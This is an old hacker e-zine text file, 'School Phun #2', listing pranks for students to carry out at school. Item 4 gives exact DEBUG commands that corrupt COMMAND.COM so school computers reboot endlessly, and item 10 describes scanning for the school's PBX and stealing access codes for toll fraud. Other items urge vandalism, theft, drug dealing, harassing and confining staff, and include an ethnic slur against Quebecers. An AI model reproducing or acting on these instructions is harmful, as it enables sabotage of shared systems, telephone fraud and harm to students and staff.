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Mind Warp File 34
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[ Mind Warp - Volume #2, Issue #7, File #034 ]
[ "School Phun #2" by Raven ]
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School Phun: Part 2
[Raven/MG]
Yes, once again, I've assembled a list of some 'phun' activities to
help make school life almost bearable. I'll skip the witty opening para-
graphs and go straight to the list. :)
1. Get a can of WD-40 or some kind of other silicon based spray lubricant,
and go to school early. Spray it out onto a rag, and start wiping down
the seats and desk/table tops with it. After it kind of dries a little,
people will sit down on they're chairs, and will be sliding all over the
place.. If you applied it properly, it shouldn't be greasy, just slick.
Now, some of the lubricant will stay on those people's butts, and they
will 'infect' the rest of the chairs little by little as they continue
to go to different classes throughout the rest of the day. This is quite
a class disrupter.
2. In the morning when they make you stand for the pledge (you don't have to
but they still stare at you funny if you don't) bring a little Canadian
flag and pledge your alligience to it, instead. Here is the pledge I
came up with, think up your own if ya want: "I pledge alliegance to the
flag of the United Provinces of Canada, and to the government for which
it stands. One very cold nation, without much smog, for draft dodgers
and the Kids in the Hall." That'll piss 'em off. BTW - I love Canadians
and wish I was one, except for you Quebecians.. I hate all ya'll from
Quebec, ya stupid, wannabe-french mofo's..
3. Get a big rock, and break a window or two.
4. If your school has a computer lab, and the computers are dos based IBM
clones, then get onto the machine, and do the following (what you're
supposed to type will be in quotes) :
C:\>"ATTRIB -A -H -R -S COMMAND.COM"
C:\>"DEBUG COMMAND.COM"
-"E100 EA 00 00 FF FF"
-"W"
-"Q"
This will first enable command.com to be re-written. Then, you'll have
written the first 5 bytes of command.com to be EA0000FFFFhex, which is
the instruction to jump to memory location FFFF:0000, thus rebooting the
machine. In other words, every time the computer is turned on, it'll sit
there in an infinate loop of rebooting itself. This is easily curable by
inserting a dos diskette, and copying command.com over it, but this is
the ONLY way to fix the problem. Thanx to Star Gazer for the idea.
5. Go out and either spend ten bucks, or hell, just steal one of those
'universal remotes' that can be used for your vcr and tv of most major
brand names, or else get one of those nifty $60+ casio wrist remote
watches. Now, take your remote to school, and if you find that you're
stuck watching some boring movie on 'apes in nature' then you can make
it a bit more interesting.
6. Have your girlfriend(sister, mom, whatever) give you some of those little
perfum samples that come in the little glass vials, that women always
seem to have several of. Take them and (works best on a male teacher)
pour the lil suckers all over his chair/desk and his papers.. if you've
got enough, try pouring one in every drawer of his desk. It's best on
guys, because he'll be so disgusted, by the end of the day, he'll most
likely have passed out :) and with women teachers, you often have to
deal with the nasty old women who smell bad as it is, and actually like
the smell.
7. When the time comes around for the voting of class officers, start
putting up some campaign posters.. some blatantly fake campaign posters:
ie. Ben Dover for Class Prez. etc.. etc..
8. Get a bunch of nicely sharpened pencils, and spear them into the tiled
ceiling of your school. This is great fun when you're utterly bored in
some chemistry class or something.
9. In reference to number seven, run for class office. Any position you can
get. Then, of course, do nothing. Who wants to do extra work? Or, you
could have fun with it, and screw your school. Use your imagination.
10. Look up your schools number, and scan around it (100 numbers each way)
and you should be able to find your school's pbx. Run code thief, (or
get some k-rad kiddie to do it for you) get some codes for it, and call
Australia from it. Or maybe some of those 900 sex party lines. Hmm,
or get the new Future Crew demo by calling Scandinavia. :)
11. Earn some fast cash while at school, and sell drugs.
12. Go into your pop's porno mag collection, and find the address to 'get a
free inflatable doll' or other such obscene sexual objects, and have them
sent to your principal or a teacher of your choice, at the school.
Ususally only costs a couple of bucks for postage.
13. Have more fun while at school, and DO drugs.
14. Surf the net, or read alt.drugs, and find yourself a '1001 ways to build
a better bong' textfile, print it up, and distribute it to your
classmates and teachers.
15. Force the principal into one of the restrooms. They'll be sick for weeks.
I know, I know.. it's a pretty weak list, but I'm trying to finish all of my
incomplete textfiles so I can release this long overdue volume tonight.. :)
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